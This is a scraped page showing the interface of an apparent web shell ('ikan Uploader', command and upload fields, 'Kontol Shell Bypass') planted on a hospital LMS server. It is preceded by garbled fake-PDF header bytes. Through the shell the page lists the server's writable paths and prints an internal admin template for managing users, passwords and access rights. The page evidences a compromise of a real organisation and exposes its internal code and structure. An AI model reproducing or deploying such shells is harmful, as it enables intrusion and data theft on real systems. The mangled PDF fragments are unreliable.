%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardahospital.org/shardalms/views/user/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardahospital.org/shardalms/views/user/users_list.html
<div class="page-bar">
    <ul class="page-breadcrumb uc">
        <li><h2>Manage Users</h2></li>
    </ul>
    <div class="page-toolbar">
        <a href="api/common/users_with_access" class="btn blue btn-outline pull-right" target="_blank">View All Users With Access</a>
    </div>
</div>
<!-- -->

<div ng-controller="DataSetLeads as DS">
    <div class="tabbable-custom">
        <ul class="nav nav-tabs">
            <li class="{{k=='USER'?'active':''}}" ng-repeat="(k,v) in CR.user_types">
                <a href="#tab_1" data-toggle="tab" aria-expanded="true" ng-click="CR.lists(1, k)" onclick="event.preventDefault()"> {{v}} </a>
            </li>
        </ul>

        <div class="tab-content">
            <div class="tab-pane active" id="tab_1">
                <!-- Search -->
                <div class="form-group d-flex">
                    <div class="my-auto">
                        <form ng-submit="CR.lists()">
                            <div class="form-inline fc-sm">
                                <input type="text" ng-model="CR.sdata.k" class="form-control w200" placeholder="Keyword..." />
                                <!-- <select class="form-control" ng-model="CR.sdata.type">
                                    <option value="">Type (ALL)</option>
                                    <option value="{{v}}" ng-repeat="v in CR.user_types">{{v}}</option>
                                </select> -->
                                <select class="form-control w250" ng-model="CR.sdata.parent_id">
                                    <option value="">Manger (ALL)</option>
                                    <option value="{{r.id}}" ng-repeat="r in CR.all_managers">{{r.name}} ({{r.type}})</option>
                                </select>&nbsp;
                                <button type="submit" class="btn btn-info">Search</button>
                            </div>
                        </form>
                    </div>
                    
                    <div class="my-auto ml-auto" ng-if="isAdmin">
                        <a href="" class="btn blue" ng-click="CR.open_form()"><i class="fa fa-plus"></i> Add New</a>
                    </div>
                </div>
                <!-- / -->

                <div ng-if="CR.result.length">
                    <div class="text-secondary bold mb10">
                        Showing {{CR.page.start+1}} - {{CR.page.start+CR.page.total}} of {{CR.page.total_records}} records.
                    </div>
                    <div class="table-responsive">
                        <table class="table table-striped table-bordered table-advance table-hover">
                            <thead class="vmid uc">
                                <tr>
                                    <th class="w20">SN</th>
                                    <th>Name</th>
                                    <th class="w200">Email</th>
                                    <!-- <th class="w200">Username</th> -->
                                    <th class="w100">Type</th>
                                    <th class="w150">Created By</th>
                                    <th class="w100 nowrap">Created On</th>
                                    <th class="w60">Status</th>
                                    <th class="w85" ng-if="isAdmin"></th>
                                </tr>
                            </thead>
        
                            <tbody>
                                <tr ng-repeat="(i,r) in CR.result">
                                    <td>{{i+CR.page.start+1}}.</td>
                                    <td>
                                        {{r.name}}
                                        <div class="pdT3 note-text" ng-if="r.parent"><span class="inblock w80">Manager</span> : <strong>{{r.parent}}</strong></div>
                                        <div class="pdT3 note-text"><span class="inblock w80">Report Type</span> : <strong>{{r.reporting_type || 'N/A'}}</strong></div>
                                        <div class="pdT3 note-text" style="color:#25d366"><span class="inblock w80">WA Instance</span> : <strong>{{r.whatsapp_instance || 'N/A'}}</strong></div>
                                        
                                        <div class="pdT3 note-text" ng-if="r.type!=='CALLER' && r.type!=='PUBLISHER'">
                                            <a href="" ng-click="CR.edit(r.id, 'T')" class="pull-right font-purple uc">Make Clone</a>
                                            <a href="" ng-click="DS.detail_by_user_id(r.id)">Lead Data Set</a>
                                        </div>

                                        <div class="pdT5 note-text" ng-if="r.data_sets.length">
                                            <div><span class="inblock w80">Leads Count</span> : <strong>{{r.data_sets[0].leads_count}}</strong></div>
                                            <div><span class="inblock w80">Filters Used</span> : <strong>{{r.data_sets[0].filters_used}}</strong></div>
                                        </div>

                                        <div ng-if="r.type==='CALLER'">
                                            <!-- <div>Data Set: <strong>{{r.split_ds_names?r.split_ds_names:'N/A'}}</strong></div>
                                            <div ng-if="r.data_set">No. of Leads: <strong>{{r.split_ds_no_of_leads}}</strong></div> -->
                                            <div ng-if1="r.data_set" class="pt3">
                                                <button type="button" class="btn btn-xs dark" ng-click="CR.getSplitDatasetHistory(r.id)">View Dataset History</button>
                                            </div>
                                        </div>
                                    </td>
                                    <td>{{r.email}}</td>
                                    <!-- <td>{{r.username?r.username:'N/A'}}</td> -->
                                    <td>{{r.type}}</td>
                                    <td>{{r.usr}}</td>
                                    <td class="nowrap">{{r.created}}</td>
                                    <td>
                                        <span class="label label-sm label-success label-mini" ng-if="r.status=='1'">Active</span>
                                        <span class="label label-sm label-danger label-mini" ng-if="r.status=='0'">Inactive</span>
                                    </td>

                                    <td class="text-center" ng-if="isAdmin">
                                        <div class="btn-group btn-group-solid">
                                            <button type="button" class="btn btn-xs default" ng-click="CR.edit(r.id)"><i class="fa fa-edit"></i></button>
                                            <button type="button" class="btn btn-xs red" ng-click="CR.delete(r.id)"><i class="fa fa-trash-o"></i></button>
                                        </div>
                                    </td>
                                </tr>
                            </tbody>
                        </table>
                    </div>
                    <div class="bold" ng-show="CR.page.total_pages>1">
                        <div dir-paging fn="CR.lists" pageob="CR.page"></div>
                    </div>
                </div>
                <div class="text-center text-default pd20" ng-if="!CR.result.length">No record found.</div>
            </div>
        </div>
    </div>


    <!-- Form -->
    <div class="modal bs-modal-lg in modal-scroll" id="formModal" role="dialog" aria-hidden="true" data-backdrop="static">
        <div class="modal-dialog modal-lg">
            <div class="modal-content">
                <div class="modal-header">
                    <button type="button" class="close" data-dismiss="modal" aria-hidden="true"></button>
                    <h4 class="modal-title">{{CR.dtl.id?'Update':'Add'}} User ({{CR.sdata.type}})</h4>
                </div>
                
                <div class="modal-body fi-300 err-abs">
                    <form id="frm" autocomplete="off" spellcheck="false">
                        <input type="hidden" name="id" value="{{CR.dtl.id}}" />
                        <div class="row mingap">
                            <div class="col-md-4 form-group">
                                <label class="req">Name</label>
                                <input type="text" class="form-control" name="name" ng-model="CR.dtl.name" maxlength="100">
                            </div>
                            <div class="col-md-4 form-group">
                                <label class="req">Mobile No.</label>
                                <input type="text" class="form-control" name="mobile" ng-model="CR.dtl.mobile" maxlength="10">
                            </div>
                            <div class="col-md-4 form-group">
                                <label class="req">Email</label>
                                <input type="text" class="form-control" name="email" ng-model="CR.dtl.email" maxlength="100">
                            </div>

                            <div class="col-md-4 form-group">
                                <label class="{{CR.data.id?'':'req'}}">Password</label>
                                <input type="text" class="form-control" name="password" ng-model="CR.dtl.password" maxlength="100">
                            </div>
                            <div class="col-md-4 form-group">
                                <label class="req">User Type</label>
                                <select class="form-control" name="type" ng-model="CR.dtl.type" ng-change="CR.dtl.parent_id=''">
                                    <option value="">Select</option>
                                    <option value="{{k}}" ng-repeat="(k,v) in CR.user_types">{{v}}</option>
                                </select>
                                <!-- <div class="form-control">{{CR.dtl.type}}</div> -->
                            </div>
                            <div class="col-md-4 form-group">
                                <label class="">Manager</label>
                                <select class="form-control" name="parent_id" ng-model="CR.dtl.parent_id">
                                    <option value="">Select</option>
                                    <option value="{{r.id}}" ng-repeat="r in CR.all_managers">{{r.name}} ({{r.type}})</option>
                                </select>
                            </div>

                            <div class="col-md-4 form-group">
                                <label class="">Restrict Leads List</label>
                                <select class="form-control" name="lead_restrict" ng-model="CR.dtl.lead_restrict">
                                    <option value="0">No</option>
                                    <option value="1">Yes</option>
                                    <option value="2">Yes (Hidden Data)</option>
                                </select>
                            </div>
                            <div class="col-md-4 form-group">
                                <label class="">Copy Data set of this user</label>
                                <select class="form-control" name="clone_data_set_id" ng-model="CR.dtl.clone_data_set_id">
                                    <option value="">Select User</option>
                                    <option value="{{v.data_set_id}}" ng-repeat="v in CR.data_set_users">{{v.name}} ({{v.type}})</option>
                                </select>
                            </div>
                            <div class="col-md-4 form-group">
                                <label class="">Reporting Type</label>
                                <select class="form-control" name="reporting_type" ng-model="CR.dtl.reporting_type">
                                    <option value="">Select</option>
                                    <option>Counsellor</option>
                                    <option>Caller</option>
                                    <option>Operation</option>
                                </select>
                            </div>
                            <div class="col-md-4 form-group">
                                <label class="">Campus Offline User?</label>
                                <select class="form-control" name="campus_offline_user" ng-model="CR.dtl.campus_offline_user">
                                    <option value="N">No</option>
                                    <option value="Y">Yes</option>
                                </select>
                            </div>
                            <div class="col-md-4 form-group">
                                <label>Whatsapp Instance</label>
                                <input type="text" class="form-control" name="whatsapp_instance" ng-model="CR.dtl.whatsapp_instance" maxlength="50" onkeydown="return event.which!=32">
                            </div>
                            <div class="col-md-4 form-group">
                                <label>Allowed IPs</label>
                                <input type="text" class="form-control" name="allowed_ips" ng-model="CR.dtl.allowed_ips" maxlength="1000" onkeydown="return event.which!=32">
                            </div>
                        </div>

                        <div class="form-group">
                            <label class="req">Access Rights</label>
                            <div style="font-size: 13px;">
                                <div class="mb5" ng-repeat="g in CR.modules_groups" style="border: 1px solid #ccc;">
                                    <div class="pt4 pb4 pl10 pr10 bold uc" style="background: #eee; border-bottom: 1px solid #ccc;">{{g.grp}}</div>
                                    <div class="pt4 pb4 pl10 pr10" style1="max-height: 250px; overflow: auto;">
                                        <div style="width: 100%; overflow: hidden;">
                                            <div class="row mingap">
                                                <div class="col-md-4 mb5" ng-repeat="r in CR.modules" ng-if="g.grp===r.grp">
                                                    <label>
                                                        <input type="checkbox" class="mchk" name="modules[]" value="{{r.id}}" /> {{r.module}}
                                                    </label>
                                                </div>
                                                <div class="clearfix"></div>
                                            </div>
                                        </div>
                                    </div>
                                </div>
                            </div>
                        </div>

                        <div class="row mingap">
                            <div class="col-md-4 form-group">
                                <label class="">Status</label>
                                <select class="form-control" name="status" ng-model="CR.dtl.status">
                                    <option value="1">Active</option>
                                    <option value="0">Inactive</option>
                                </select>
                            </div>
                        </div>
                    </form>
                </div>

                <div class="modal-footer">
                    <button type="button" class="btn dark btn-outline" data-dismiss="modal">Close</button>
                    <button type="button" class="btn green" ng-click="CR.save()">Save</button>
                </div>
            </div>
        </div>
    </div>

    <!-- Dataset History -->
    <div class="modal bs-modal-lg in" id="dsHistoryModal" role="dialog" aria-hidden="true" data-backdrop="static">
        <div class="modal-dialog modal-lg">
            <div class="modal-content">
                <div class="modal-header">
                    <button type="button" class="close" data-dismiss="modal" aria-hidden="true" ng-click="CR.dsHistory={}"></button>
                    <h4 class="modal-title">Dataset History</h4>
                </div>
                
                <div class="modal-body">
                    <div class="mb10">
                        Caller: <strong>{{CR.dsHistory.name}}</strong>
                    </div>

                    <div class="mb5">
                        <div class="d-flex">
                            <div class="mr15">
                                <button type="button" class="btn btn-xs btn-{{CR.dsHistoryFilter==='All'?'success':'default'}}" ng-click="CR.handleDsFilterChange('All')">
                                    <i class="fa fa-check" ng-if="CR.dsHistoryFilter==='All'"></i> All
                                </button>
                            </div>
                            <div class="mr15">
                                <button type="button" class="btn btn-xs btn-{{CR.dsHistoryFilter==='Active'?'success':'default'}}" ng-click="CR.handleDsFilterChange('Active')">
                                    <i class="fa fa-check" ng-if="CR.dsHistoryFilter==='Active'"></i> Active
                                </button>
                            </div>
                            <div class="mr15">
                                <button type="button" class="btn btn-xs btn-{{CR.dsHistoryFilter==='Expired'?'success':'default'}}" ng-click="CR.handleDsFilterChange('Expired')">
                                    <i class="fa fa-check" ng-if="CR.dsHistoryFilter==='Expired'"></i> Expired
                                </button>
                            </div>
                        </div>
                    </div>

                    <div class="sticky-tbl" ng-if="CR.dsHistory.splitDatasetHistory.length" style="max-height: 480px">
                        <div class="pos-sticky-1px"></div>
                        <table class="table table-bordered table-advance tablemd">
                            <thead class="vmid uc">
                                <tr>
                                    <th class="w20">SN</th>
                                    <th>Dataset</th>
                                    <th class="w100 nowrap text-center">No. Of Leads</th>
                                    <th class="w100 nowrap">Allocation Date</th>
                                    <th class="w150 nowrap">Allocated By</th>
                                </tr>
                            </thead>
                            <tbody class="">
                                <tr ng-repeat="(i,r) in CR.dsHistory.splitDatasetHistory">
                                    <td>{{i+1}}.</td>
                                    <td>
                                        <div class="uc bold mb3">{{r.dataset}}</div>
                                        <div>
                                            Expire On: <span class="bold {{r.expired?'text-danger':'text-success'}}">{{r.expiry_date}}</span>
                                        </div>
                                    </td>
                                    <td class="text-center">{{r.no_of_leads}}</td>
                                    <td class="nowrap">{{r.created}}</td>
                                    <td>{{r.created_by}}</td>
                                </tr>
                            </tbody>
                            <tfoot>
                                <tr>
                                    <th></th>
                                    <th>Leads Count</th>
                                    <th class="text-center">{{CR.dsHistory.count}}</th>
                                    <th></th>
                                    <th></th>
                                </tr>
                            </tfoot>
                        </table>
                    </div>
                </div>

                <div class="modal-footer">
                    <button type="button" class="btn dark btn-outline" data-dismiss="modal" ng-click="CR.dsHistory={}">Close</button>
                </div>
            </div>
        </div>
    </div>

    <!-- Data Set Form -->
    <div ng-include="'views/leads/lead_data_set_form.html?'+VERSION"></div>
</div>

Kontol Shell Bypass